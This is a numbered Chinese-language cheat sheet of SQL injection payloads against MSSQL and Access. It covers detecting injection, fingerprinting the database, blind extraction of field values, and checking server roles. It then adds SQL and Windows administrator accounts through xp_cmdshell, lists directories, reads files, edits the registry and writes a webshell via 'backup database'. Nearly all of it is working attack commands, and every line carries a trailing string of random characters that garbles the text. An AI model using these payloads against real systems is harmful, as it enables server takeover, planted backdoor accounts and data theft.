1.判断是否有注入;and 1=1 ;and 1=2 cRCji^,KJ
2.初步判断是否是mssql ;and user>0 gx eu2HG
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3.注入参数是字符'and [查询条件] and ''=' :uqEGnEut
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' 6/p9ag]
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5.判断数据库系统 .:B0(4Mj
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;and (select count(*) from sysobjects)>0 mssql >MhZ(&iD
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;and (select count(*) from msysobjects)>0 access Qw_>
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 aW;)-0+
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 }dqOE-"I"n
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 }N,v&B
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9.(1)猜字段的ascii值(access) *+2BZZwT
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 d7x6r3J$
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(2)猜字段的ascii值(mssql) lQt,(@7]
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 2$2@?]|?
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10.测试权限结构(mssql) B[f:T%
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- !>+m46A
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ]C|xo.=?]
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- N>g6KgX{K
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- s%m?Yh3
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- mM+^v[=
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- S3QX{5t\
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;and 1=(select IS_MEMBER('db_owner'));-- O-~cj7
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11.添加mssql和系统的帐户 6pZ/C<Y|W
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;exec master.dbo.sp_addlogin username;-- O\@0o|NM
;exec master.dbo.sp_password null,username,password;-- b=L|GV@$
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- }Py Z{yS
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;exec master.dbo.xp_cmdshell 'net user username password ?fpI,WFu
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- |+<o(Q(
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- k4^!"~<+0
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 0nR_I^
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12.(1)遍历目录 fnFIw=d
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;create table dirs(paths varchar(100), id int) `YBHBTG'o!
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;insert dirs exec master.dbo.xp_dirtree 'c:\' H]M[2C7#N
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;and (select top 1 paths from dirs)>0
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) Ik=bgEF
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(2)遍历目录 TF,([p*
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- HLq2avs\
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 WOYN%
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 %6:"tuA
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 th{Ib@o
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 4X>=UO``L
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13.mssql中的存储过程 ;\Pq
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xp_regenumvalues 注册表根键, 子键 ^F|/\i
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 {9nH#yv
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xp_regread 根键,子键,键值名 4Jw_gOY&D
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;exec xp_regread zf[KZ\6H
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 LJ*W&y(2>Q
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xp_regwrite 根键,子键, 值名, 值类型, 值 *p^*>~i9)
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 7x(z
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 /f! ze|
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xp_regdeletevalue 根键,子键,值名
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 <e-hR$
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 H+VjY MvK
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14.mssql的backup创建webshell wf,w%n
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use model VCvFCyAz
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create table cmd(str image); jd}-&DN
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insert into cmd(str) values (''); wv&%09U
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backup database model to disk='c:\l.asp'; [d6TwKv
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15.mssql内置函数 RjGJfN{
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;and (select @@version)>0 获得Windows的版本号 T^
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa nztnU9OG
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;and (select user_name())>0 爆当前系统的连接用户 ]4)$dQ59
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;and (select db_name())>0 得到当前连接的数据库 PKX
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16.简洁的webshell 'a=QCO
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use model *#sY-G d
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create table cmd(str image); !mu1e=bY>
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insert into cmd(str) values (''); ^eCMATE
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backup database model to disk='g:\wwwtest\l.asp';